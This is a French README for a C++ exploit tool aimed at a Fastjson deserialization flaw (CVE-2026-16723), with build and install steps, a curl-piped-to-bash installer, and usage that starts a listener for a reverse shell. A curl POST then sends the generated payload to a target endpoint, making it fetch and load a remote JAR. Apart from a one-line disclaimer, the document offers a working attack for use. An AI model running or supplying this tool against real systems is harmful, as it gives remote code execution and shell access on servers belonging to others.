Exploit CVE-2026-16723

Une implémentation autonome en C++17 pour CVE-2026-16723, une vulnérabilité critique affectant les versions 1.2.68 – 1.2.83 de Fastjson.

Prérequis

• Linux (ou WSL sous Windows)

• Compilateur compatible C++17 (GCC 7+ ou Clang 5+)

• CMake 3.10 ou plus récent

• Paquets système :

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Installation

Installation rapide (recommandée)

Installez tout avec une seule commande :

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Ou téléchargez et exécutez le script d'installation manuellement :

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Le script d'installation va :

• Installer tous les paquets système requis.

• Télécharger les bibliothèques header-only nécessaires :

  • nlohmann/json
  • cpp-httplib

• Compiler le projet.

• Placer le binaire compilé dans le répertoire courant sous le nom :

./exploit

Compilation manuelle

Si vous avez cloné le dépôt :

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Ou compilez manuellement :

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Utilisation

Exécutez le binaire :

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Exemple

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

Après exécution, les fichiers suivants seront créés :

x
body.json

Le serveur HTTP démarrera sur le port configuré (par défaut : 8000) et l'outil attendra une connexion reverse shell entrante.

Envoi de la charge utile

Envoyez le fichier body.json généré vers le point d'accès vulnérable :

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Si l'application attend un autre champ JSON, spécifiez-le à l'aide de l'option --field.

Options de la ligne de commande

Fichiers de sortie

Remarques

• Ce projet est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives.
• L'implémentation force l'application cible à télécharger et charger un JAR distant en utilisant les protocoles jar:http et jar:file.
• La commande du reverse shell est encodée en Base64 pour réduire les problèmes d'échappement.

Suivez-moi sur Twitter(X)

• MNM